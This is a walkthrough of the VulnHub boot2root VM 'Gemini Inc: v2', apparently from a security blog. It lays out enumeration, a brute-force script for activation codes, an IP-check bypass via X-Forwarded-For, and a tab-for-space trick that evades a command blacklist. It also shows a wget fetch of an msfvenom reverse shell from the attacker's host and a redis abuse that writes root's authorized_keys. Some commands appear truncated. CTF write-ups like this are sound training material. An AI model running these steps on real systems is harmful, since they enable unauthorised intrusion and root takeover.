This post documents the complete walkthrough of Gemini Inc: v2, a boot2root VM created by 9emin1, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post


Neo: Hmm, upgrades…

Information Gathering

Let’s kick this off with a nmap scan to determine the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
| ssh-hostkey:
|   2048 89:d5:38:88:b6:7a:f2:60:29:e7:21:e8:15:ac:14:9b (RSA)
|   256 64:63:77:dc:49:79:0e:b1:4b:62:50:06:9c:33:d5:25 (ECDSA)
|_  256 e4:14:da:a2:a4:33:4b:64:cd:c0:c7:1c:17:b7:cc:fb (ED25519)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
|   /:
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Welcome to Gemini Inc v2

nmap finds 22/tcp and 80/tcp open. Nothing unusual.

Directory/File Enumeration

Since the site is more secure now, let’s take a different approach this time—fuzzing. The tool for such a job is wfuzz. It’s fast, comes with high quality wordlists, and easy-to-use filters for response code, number of lines, words, and even characters.

# wfuzz -w /usr/share/wfuzz/wordlist/general/megabeast.txt -w /usr/share/wfuzz/wordlist/general/extensions_common.txt --hc 404 -t 50
ID	Response   Lines      Word         Chars          Payload    

000028:  C=200     17 L	      71 W	   1115 Ch	  "admin - /"
016007:  C=403     38 L	      73 W	   1301 Ch	  "activate - .php"
144002:  C=200      3 L	      40 W	    254 Ch	  "blacklist - .txt"
443875:  C=200     13 L	       0 W	     13 Ch	  "export - .php"
481143:  C=200     89 L	     164 W	   2932 Ch	  "footer - .php"
551675:  C=500      0 L	       0 W	      0 Ch	  "header - .php"
582568:  C=403     11 L	      32 W	    295 Ch	  "icons - /"
600451:  C=200    153 L	     392 W	   5763 Ch	  "index - .php"
690835:  C=200    188 L	     417 W	   7204 Ch	  "login - .php"
710192:  C=200     12 L	      26 W	    626 Ch	  "manual - /"
895543:  C=403      0 L	       0 W	      0 Ch	  "profile - .php"
949891:  C=200    186 L	     415 W	   6844 Ch	  "registration - .php"
1217431: C=403      0 L	       0 W	      0 Ch	  "user - .php"

A lot has changed in v2. It exposes files such as activate.php and registration.php. The file blacklist.txt sure is interesting even though I can’t make sense of it now.


User Registration and Activation

It’s obvious there’s a user registration and activation process. Look at the respective pages in the browser.



Let’s register an account with the site using everything admin—even the password.


Although the first attempt results in an error like this, the site has actually registered the account.


Once we log in to /login.php, a message greets us and tells us that we’ve to submit a 6-digit code to activate the account.


We’ll need the user ID to activate the account. Although the account is not activated at this stage, landing at the hyperlink of the profile page provides us with the user ID.


You can determine the username and user ID of all the users from here because the page’s title gave the usernames away when you change the user ID in the URL.

Gemini   (u=1)
demo     (u=8)
demo2    (u=9)
demo3    (u=10)
demo1337 (u=12)
demo4    (u=13)
admin    (u=14)

Now that we know the user ID of the newly registered account, let’s proceed to activate it. Before we do that, know this—any invalid code will result in a 403 INVALID VALUE response from the server.


Armed with this information, I wrote, a simple script to brute-force the activation code.

ME=$(basename $0)

function token() {
  local COOKIE=""
  if [ -e cookie ]; then
    COOKIE=" -b cookie"
    COOKIE="-c cookie"
  curl \
    -s \
    $COOKIE \
    http://$HOST/$1 2>/dev/null \
  | grep -m1 token \
  | cut -d"'" -f6

function activate() {
  curl \
    -s \
    -b cookie \
    -w %{http_code} \
    -o /dev/null \
    --data-urlencode "userid=$1" \
    --data-urlencode "activation_code=$2" \
    --data-urlencode "token=$(token $ACTIVATE)" \

function die() {
  rm -f cookie
  for pid in $(ps aux \
               | grep -v grep \
               | grep "$ME" \
               | awk '{ print $2 }'); do
    kill -9 $pid &>/dev/null

# activation
for pin in {000000..999999}; do
  if [ "$(activate $1 $pin $(token $ACTIVATE))" -ne 403 ]; then
    echo "[+] uid: $1, pin: $pin"

Let’s run the script.

# ./ 14
[+] uid: 14, pin: 000511

The activation code appears fixed for all new accounts; not that this casual observation is helpful at this point.

Now that the account is active, the full set of features for an ordinary member is available.


I saw the password hash of the logged-in user in the HTML source of the profile page during the investigation of the unlocked features.


I was able to capture the password hash of all the users by changing the user ID in the URL and viewing the HTML code.


We could add cookies to our browser to gain access to Gemini’s account like this.


Or we could crack the password hashes offline with John the Ripper, in which case, Gemini’s password is secretpassword.

Admin Panel

The Admin Panel is in display after I log in to Gemini’s account.


Clicking on either General Settings or Execute Command shows nothing. I look at the HTTP traffic and see a 403 IP NOT ALLOWED response. Perhaps I need to tell the page that my originating IP address is


There’s a Burp extension—Bypass WAF, that can help us do this seamlessly. Essentially, the extension adds custom headers such as X-Forwarded-For: to every HTTP request made through Burp. The instruction to add the extension is beyond the scope of this walkthrough.

Suffice to say, after adding the custom headers, I’m able to display General Settings and Execute Command.



Something strikes me as familiar when I look at the HTML source of /new-groups.php—the Execute Command page.


Recall the file blacklist.txt uncovered during fuzzing? It had a test for illegal characters in the testcmd parameter. A readily available web shell that executes commands is in front of us, and yet we’ve to bypass the test for illegal characters. What a bummer!


Execute Command

The most common shell in Linux distributions is bash and it uses whitespace as the separator between the command, option(s), and argument(s). For example, in this command execution— wget -O /tmp/rev, the space character is the separator between the command wget, the option -O, and the arguments /tmp/rev and In fact, bash defines space, tab, and the newline character as whitespace. In other words, we can substitute the space character (\x20) with the tab character (\x09) in the previous example and it would still execute.

With this in mind, let’s generate a reverse shell with msfvenom and name it as rev; host it with Python’s SimpleHTTPServer, and execute wget -O /tmp/rev in the Execute Command page to transfer it over, replacing the space character with the tab character. We then execute /tmp/rev in the Execute Command page to launch the reverse shell. We also need to get the netcat listener ready to catch the reverse shell.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=4444 -f elf -o rev
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: rev
# python -m SimpleHTTPServer 80
Serving HTTP on port 80 ... - - [03/Jun/2018 14:06:42] "GET /rev HTTP/1.1" 200 -


Yes, we got shell. Let’s do one better by copying the RSA public key we control to /home/gemni1/.ssh/authorized_keys and logging in with SSH.


There you go.

Privilege Escalation

During enumeration of gemini1’s account, I discover redis is running on the host as root.


The password to log in to the redis server is conveniently located in /etc/redis/6379.conf.


With the password, I can proceed to abuse redis to write files as root. We can write the RSA public key we control to /root/.ssh/authorized_keys and gain root access through SSH.

Here’s how.

  1. Generate a SSH keypair with ssh-keygen.
  2. Copy to ~/.ssh/public.txt. Pad the top and bottom with two newlines.
  3. Set ~/.ssh/public.txt as a new redis value.
  4. Configure dir as /root/.ssh/.
  5. Configure dbfilename as authorized_keys.
  6. Save the configuration.
  7. Log in with the RSA private key and enjoy your root shell.

Step 1: Generate a SSH keypair with ssh-keygen.

$ ssh-keygen -t rsa -b 2048

Step 2: Copy to ~/.ssh/public.txt. Pad the top and bottom with two newlines.

$ echo -e "\n\n" > .ssh/public.txt
$ cat .ssh/ >> .ssh/public.txt
$ echo -e "\n\n" >> .ssh/public.txt

Step 3: Set ~/.ssh/public.txt as a new redis value.

cat .ssh/public.txt | redis-cli -h -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set pub

Step 4: Configure dir as /root/.ssh/.

$ redis-cli -h -a 8a7b86a2cd89d96dfcc125ebcc0535e6 config set dir "/root/.ssh/"

Step 5: Configure dbfilename as authorized_keys.

redis-cli -h -a 8a7b86a2cd89d96dfcc125ebcc0535e6 config set dbfilename authorized_keys

Step 6: Save the configuration.

redis-cli -h -a 8a7b86a2cd89d96dfcc125ebcc0535e6 save

Step 7: Log in with the RSA private key and enjoy your root shell.


It Sure Was Fun